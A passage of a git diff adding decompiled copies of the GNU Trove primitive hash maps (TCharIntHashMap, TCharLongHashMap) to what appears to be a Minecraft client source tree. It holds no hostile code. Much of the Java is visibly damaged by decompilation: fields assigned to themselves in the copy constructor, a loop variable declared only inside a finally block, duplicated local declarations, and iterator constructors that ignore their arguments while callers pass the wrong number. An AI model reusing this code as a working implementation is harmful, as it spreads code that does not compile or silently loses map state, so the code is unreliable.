+      TCharIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Character.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TCharCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TCharIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(char[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      char[] set = _set;
+      byte[] states = _states;
+      
+      for (int i = set.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, set[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Character)) {
+          char c = ((Character)element).charValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TCharCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TCharIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        char element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(char[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TCharIntHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TCharProcedure procedure)
+    {
+      return forEachKey(procedure);
+    }
+    
+
+    public boolean equals(Object other)
+    {
+      if (!(other instanceof TCharSet)) {
+        return false;
+      }
+      TCharSet that = (TCharSet)other;
+      if (that.size() != size()) {
+        return false;
+      }
+      for (int i = _states.length; i-- > 0;) {
+        if ((_states[i] == 1) && 
+          (!that.contains(_set[i]))) {
+          return false;
+        }
+      }
+      
+      return true;
+    }
+    
+
+    public int hashCode()
+    {
+      int hashcode = 0;
+      for (int i = _states.length; i-- > 0;) {
+        if (_states[i] == 1) {
+          hashcode += HashFunctions.hash(_set[i]);
+        }
+      }
+      return hashcode;
+    }
+    
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachKey(new TCharProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(char key)
+        {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(key);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+  protected class TValueView implements TIntCollection
+  {
+    protected TValueView() {}
+    
+    public TIntIterator iterator()
+    {
+      return new TCharIntHashMap.TCharIntValueHashIterator(TCharIntHashMap.this, TCharIntHashMap.this);
+    }
+    
+
+    public int getNoEntryValue()
+    {
+      return no_entry_value;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(int entry)
+    {
+      return containsValue(entry);
+    }
+    
+
+    public int[] toArray()
+    {
+      return values();
+    }
+    
+
+    public int[] toArray(int[] dest)
+    {
+      return values(dest);
+    }
+    
+
+    public boolean add(int entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(int entry)
+    {
+      int[] values = _values;
+      char[] set = _set;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((set[i] != 0) && (set[i] != '\002') && (entry == values[i])) {
+          removeAt(i);
+          return true;
+        }
+      }
+      return false;
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Integer)) {
+          int ele = ((Integer)element).intValue();
+          if (!containsValue(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TIntCollection collection)
+    {
+      TIntIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsValue(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(int[] array)
+    {
+      for (int element : array) {
+        if (!containsValue(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean addAll(Collection<? extends Integer> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(TIntCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(int[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TIntIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Integer.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TIntCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TIntIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(int[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      int[] values = _values;
+      byte[] states = _states;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, values[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Integer)) {
+          int c = ((Integer)element).intValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TIntCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TIntIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        int element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(int[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TCharIntHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TIntProcedure procedure)
+    {
+      return forEachValue(procedure);
+    }
+    
+
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachValue(new TIntProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(int value) {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(value);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+
+
+
+  class TCharIntKeyHashIterator
+    extends THashPrimitiveIterator
+    implements TCharIterator
+  {
+    TCharIntKeyHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public char next()
+    {
+      moveToNextIndex();
+      return _set[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+
+  class TCharIntValueHashIterator
+    extends THashPrimitiveIterator
+    implements TIntIterator
+  {
+    TCharIntValueHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public int next()
+    {
+      moveToNextIndex();
+      return _values[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+  class TCharIntHashIterator
+    extends THashPrimitiveIterator
+    implements TCharIntIterator
+  {
+    TCharIntHashIterator(TCharIntHashMap map)
+    {
+      super();
+    }
+    
+    public void advance()
+    {
+      moveToNextIndex();
+    }
+    
+    public char key()
+    {
+      return _set[_index];
+    }
+    
+    public int value()
+    {
+      return _values[_index];
+    }
+    
+    public int setValue(int val)
+    {
+      int old = value();
+      _values[_index] = val;
+      return old;
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+  public boolean equals(Object other)
+  {
+    if (!(other instanceof TCharIntMap)) {
+      return false;
+    }
+    TCharIntMap that = (TCharIntMap)other;
+    if (that.size() != size()) {
+      return false;
+    }
+    int[] values = _values;
+    byte[] states = _states;
+    int this_no_entry_value = getNoEntryValue();
+    int that_no_entry_value = that.getNoEntryValue();
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        char key = _set[i];
+        int that_value = that.get(key);
+        int this_value = values[i];
+        if ((this_value != that_value) && (this_value != this_no_entry_value) && (that_value != that_no_entry_value))
+        {
+
+          return false;
+        }
+      }
+    }
+    return true;
+  }
+  
+
+
+  public int hashCode()
+  {
+    int hashcode = 0;
+    byte[] states = _states;
+    for (int i = _values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        hashcode += (HashFunctions.hash(_set[i]) ^ HashFunctions.hash(_values[i]));
+      }
+    }
+    
+    return hashcode;
+  }
+  
+
+
+  public String toString()
+  {
+    final StringBuilder buf = new StringBuilder("{");
+    forEachEntry(new TCharIntProcedure() {
+      private boolean first = true;
+      
+      public boolean execute(char key, int value) { if (first) first = false; else {
+          buf.append(",");
+        }
+        buf.append(key);
+        buf.append("=");
+        buf.append(value);
+        return true;
+      }
+    });
+    buf.append("}");
+    return buf.toString();
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeInt(_size);
+    
+
+    for (int i = _states.length; i-- > 0;) {
+      if (_states[i] == 1) {
+        out.writeChar(_set[i]);
+        out.writeInt(_values[i]);
+      }
+    }
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    int size = in.readInt();
+    setUp(size);
+    
+
+    while (size-- > 0) {
+      char key = in.readChar();
+      int val = in.readInt();
+      put(key, val);
+    }
+  }
+}
diff --git a/src/minecraft/gnu/trove/map/hash/TCharLongHashMap.java b/src/minecraft/gnu/trove/map/hash/TCharLongHashMap.java
new file mode 100644
index 0000000..1c93d6a
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/hash/TCharLongHashMap.java
@@ -0,0 +1,1293 @@
+package gnu.trove.map.hash;
+
+import gnu.trove.TCharCollection;
+import gnu.trove.TLongCollection;
+import gnu.trove.function.TLongFunction;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.impl.hash.TCharLongHash;
+import gnu.trove.impl.hash.THashPrimitiveIterator;
+import gnu.trove.impl.hash.TPrimitiveHash;
+import gnu.trove.iterator.TCharIterator;
+import gnu.trove.iterator.TCharLongIterator;
+import gnu.trove.iterator.TLongIterator;
+import gnu.trove.map.TCharLongMap;
+import gnu.trove.procedure.TCharLongProcedure;
+import gnu.trove.procedure.TCharProcedure;
+import gnu.trove.procedure.TLongProcedure;
+import gnu.trove.set.TCharSet;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.Map;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TCharLongHashMap
+  extends TCharLongHash
+  implements TCharLongMap, Externalizable
+{
+  static final long serialVersionUID = 1L;
+  protected transient long[] _values;
+  
+  public TCharLongHashMap() {}
+  
+  public TCharLongHashMap(int initialCapacity)
+  {
+    super(initialCapacity);
+  }
+  
+
+
+
+
+
+
+
+
+  public TCharLongHashMap(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public TCharLongHashMap(int initialCapacity, float loadFactor, char noEntryKey, long noEntryValue)
+  {
+    super(initialCapacity, loadFactor, noEntryKey, noEntryValue);
+  }
+  
+
+
+
+
+
+
+
+  public TCharLongHashMap(char[] keys, long[] values)
+  {
+    super(Math.max(keys.length, values.length));
+    
+    int size = Math.min(keys.length, values.length);
+    for (int i = 0; i < size; i++) {
+      put(keys[i], values[i]);
+    }
+  }
+  
+
+
+
+
+
+
+  public TCharLongHashMap(TCharLongMap map)
+  {
+    super(map.size());
+    if ((map instanceof TCharLongHashMap)) {
+      TCharLongHashMap hashmap = (TCharLongHashMap)map;
+      _loadFactor = _loadFactor;
+      no_entry_key = no_entry_key;
+      no_entry_value = no_entry_value;
+      
+      if (no_entry_key != 0) {
+        Arrays.fill(_set, no_entry_key);
+      }
+      
+      if (no_entry_value != 0L) {
+        Arrays.fill(_values, no_entry_value);
+      }
+      setUp((int)Math.ceil(10.0F / _loadFactor));
+    }
+    putAll(map);
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _values = new long[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  protected void rehash(int newCapacity)
+  {
+    int oldCapacity = _set.length;
+    char[] oldKeys = _set;
+    long[] oldVals = _values;
+    byte[] oldStates = _states;
+    
+    _set = new char[newCapacity];
+    _values = new long[newCapacity];
+    _states = new byte[newCapacity];
+    
+    for (int i = oldCapacity; i-- > 0;) {
+      if (oldStates[i] == 1) {
+        char o = oldKeys[i];
+        int index = insertionIndex(o);
+        _set[index] = o;
+        _values[index] = oldVals[i];
+        _states[index] = 1;
+      }
+    }
+  }
+  
+
+  public long put(char key, long value)
+  {
+    int index = insertionIndex(key);
+    return doPut(key, value, index);
+  }
+  
+
+  public long putIfAbsent(char key, long value)
+  {
+    int index = insertionIndex(key);
+    if (index < 0)
+      return _values[(-index - 1)];
+    return doPut(key, value, index);
+  }
+  
+
+  private long doPut(char key, long value, int index)
+  {
+    long previous = no_entry_value;
+    boolean isNewMapping = true;
+    if (index < 0) {
+      index = -index - 1;
+      previous = _values[index];
+      isNewMapping = false;
+    }
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    _values[index] = value;
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return previous;
+  }
+  
+
+  public void putAll(Map<? extends Character, ? extends Long> map)
+  {
+    ensureCapacity(map.size());
+    
+    for (Map.Entry<? extends Character, ? extends Long> entry : map.entrySet()) {
+      put(((Character)entry.getKey()).charValue(), ((Long)entry.getValue()).longValue());
+    }
+  }
+  
+
+  public void putAll(TCharLongMap map)
+  {
+    ensureCapacity(map.size());
+    TCharLongIterator iter = map.iterator();
+    while (iter.hasNext()) {
+      iter.advance();
+      put(iter.key(), iter.value());
+    }
+  }
+  
+
+  public long get(char key)
+  {
+    int index = index(key);
+    return index < 0 ? no_entry_value : _values[index];
+  }
+  
+
+  public void clear()
+  {
+    super.clear();
+    Arrays.fill(_set, 0, _set.length, no_entry_key);
+    Arrays.fill(_values, 0, _values.length, no_entry_value);
+    Arrays.fill(_states, 0, _states.length, (byte)0);
+  }
+  
+
+  public boolean isEmpty()
+  {
+    return 0 == _size;
+  }
+  
+
+  public long remove(char key)
+  {
+    long prev = no_entry_value;
+    int index = index(key);
+    if (index >= 0) {
+      prev = _values[index];
+      removeAt(index);
+    }
+    return prev;
+  }
+  
+
+  public void removeAt(int index)
+  {
+    _values[index] = no_entry_value;
+    super.removeAt(index);
+  }
+  
+
+  public TCharSet keySet()
+  {
+    return new TKeyView();
+  }
+  
+
+  public char[] keys()
+  {
+    char[] keys = new char[size()];
+    char[] k = _set;
+    byte[] states = _states;
+    
+    int i = k.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        keys[(j++)] = k[i];
+      }
+    }
+    return keys;
+  }
+  
+
+  public char[] keys(char[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new char[size];
+    }
+    
+    char[] keys = _set;
+    byte[] states = _states;
+    
+    int i = keys.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = keys[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public TLongCollection valueCollection()
+  {
+    return new TValueView();
+  }
+  
+
+  public long[] values()
+  {
+    long[] vals = new long[size()];
+    long[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        vals[(j++)] = v[i];
+      }
+    }
+    return vals;
+  }
+  
+
+  public long[] values(long[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new long[size];
+    }
+    
+    long[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = v[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public boolean containsValue(long val)
+  {
+    byte[] states = _states;
+    long[] vals = _values;
+    
+    for (int i = vals.length; i-- > 0;) {
+      if ((states[i] == 1) && (val == vals[i])) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+  public boolean containsKey(char key)
+  {
+    return contains(key);
+  }
+  
+
+  public TCharLongIterator iterator()
+  {
+    return new TCharLongHashIterator(this);
+  }
+  
+
+  public boolean forEachKey(TCharProcedure procedure)
+  {
+    return forEach(procedure);
+  }
+  
+
+  public boolean forEachValue(TLongProcedure procedure)
+  {
+    byte[] states = _states;
+    long[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean forEachEntry(TCharLongProcedure procedure)
+  {
+    byte[] states = _states;
+    char[] keys = _set;
+    long[] values = _values;
+    for (int i = keys.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public void transformValues(TLongFunction function)
+  {
+    byte[] states = _states;
+    long[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        values[i] = function.execute(values[i]);
+      }
+    }
+  }
+  
+
+  public boolean retainEntries(TCharLongProcedure procedure)
+  {
+    boolean modified = false;
+    byte[] states = _states;
+    char[] keys = _set;
+    long[] values = _values;
+    
+
+
+    tempDisableAutoCompaction();
+    try {
+      for (i = keys.length; i-- > 0;) {
+        if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+          removeAt(i);
+          modified = true;
+        }
+      }
+    } finally {
+      int i;
+      reenableAutoCompaction(true);
+    }
+    
+    return modified;
+  }
+  
+
+  public boolean increment(char key)
+  {
+    return adjustValue(key, 1L);
+  }
+  
+
+  public boolean adjustValue(char key, long amount)
+  {
+    int index = index(key);
+    if (index < 0) {
+      return false;
+    }
+    _values[index] += amount;
+    return true;
+  }
+  
+
+
+  public long adjustOrPutValue(char key, long adjust_amount, long put_amount)
+  {
+    int index = insertionIndex(key);
+    boolean isNewMapping;
+    long newValue;
+    boolean isNewMapping; if (index < 0) {
+      index = -index - 1;
+      long newValue = _values[index] += adjust_amount;
+      isNewMapping = false;
+    } else {
+      newValue = _values[index] = put_amount;
+      isNewMapping = true;
+    }
+    
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return newValue;
+  }
+  
+  protected class TKeyView implements TCharSet
+  {
+    protected TKeyView() {}
+    
+    public TCharIterator iterator()
+    {
+      return new TCharLongHashMap.TCharLongKeyHashIterator(TCharLongHashMap.this, TCharLongHashMap.this);
+    }
+    
+
+    public char getNoEntryValue()
+    {
+      return no_entry_key;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(char entry)
+    {
+      return TCharLongHashMap.this.contains(entry);
+    }
+    
+
+    public char[] toArray()
+    {
+      return keys();
+    }
+    
+
+    public char[] toArray(char[] dest)
+    {
+      return keys(dest);
+    }
+    
+
+
+
+
+
+    public boolean add(char entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(char entry)
+    {
+      return no_entry_value != remove(entry);
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Character)) {
+          char ele = ((Character)element).charValue();
+          if (!containsKey(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TCharCollection collection)
+    {
+      TCharIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsKey(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(char[] array)
+    {
+      for (char element : array) {
+        if (!TCharLongHashMap.this.contains(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+
+
+
+
+    public boolean addAll(Collection<? extends Character> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(TCharCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(char[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TCharIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Character.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TCharCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TCharIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(char[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      char[] set = _set;
+      byte[] states = _states;
+      
+      for (int i = set.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, set[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Character)) {
+          char c = ((Character)element).charValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TCharCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TCharIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        char element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(char[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TCharLongHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TCharProcedure procedure)
+    {
+      return forEachKey(procedure);
+    }
+    
+
+    public boolean equals(Object other)
+    {
+      if (!(other instanceof TCharSet)) {
+        return false;
+      }
+      TCharSet that = (TCharSet)other;
+      if (that.size() != size()) {
+        return false;
+      }
+      for (int i = _states.length; i-- > 0;) {
+        if ((_states[i] == 1) && 
+          (!that.contains(_set[i]))) {
+          return false;
+        }
+      }
+      
+      return true;
+    }
+    
+
+    public int hashCode()
+    {
+      int hashcode = 0;
+      for (int i = _states.length; i-- > 0;) {
+        if (_states[i] == 1) {
+          hashcode += HashFunctions.hash(_set[i]);
+        }
+      }
+      return hashcode;
+    }
+    
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachKey(new TCharProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(char key)
+        {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(key);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+  protected class TValueView implements TLongCollection
+  {
+    protected TValueView() {}
+    
+    public TLongIterator iterator()
+    {
+      return new TCharLongHashMap.TCharLongValueHashIterator(TCharLongHashMap.this, TCharLongHashMap.this);
+    }
+    
+
+    public long getNoEntryValue()
+    {
+      return no_entry_value;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(long entry)
+    {
+      return containsValue(entry);
+    }
+    
+
+    public long[] toArray()
+    {
+      return values();
+    }
+    
+
+    public long[] toArray(long[] dest)
+    {
+      return values(dest);
+    }
+    
+
+    public boolean add(long entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(long entry)
+    {
+      long[] values = _values;
+      char[] set = _set;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((set[i] != 0) && (set[i] != '\002') && (entry == values[i])) {
+          removeAt(i);
+          return true;
+        }
+      }
+      return false;
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Long)) {
+          long ele = ((Long)element).longValue();
+          if (!containsValue(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TLongCollection collection)
+    {
+      TLongIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsValue(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(long[] array)
+    {
+      for (long element : array) {
+        if (!containsValue(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean addAll(Collection<? extends Long> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(TLongCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(long[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TLongIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Long.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TLongCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TLongIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(long[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      long[] values = _values;
+      byte[] states = _states;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, values[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Long)) {
+          long c = ((Long)element).longValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TLongCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TLongIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        long element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(long[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TCharLongHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TLongProcedure procedure)
+    {
+      return forEachValue(procedure);
+    }
+    
+
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachValue(new TLongProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(long value) {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(value);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+
+
+
+  class TCharLongKeyHashIterator
+    extends THashPrimitiveIterator
+    implements TCharIterator
+  {
+    TCharLongKeyHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public char next()
+    {
+      moveToNextIndex();
+      return _set[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+
+  class TCharLongValueHashIterator
+    extends THashPrimitiveIterator
+    implements TLongIterator
+  {
+    TCharLongValueHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public long next()
+    {
+      moveToNextIndex();
+      return _values[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
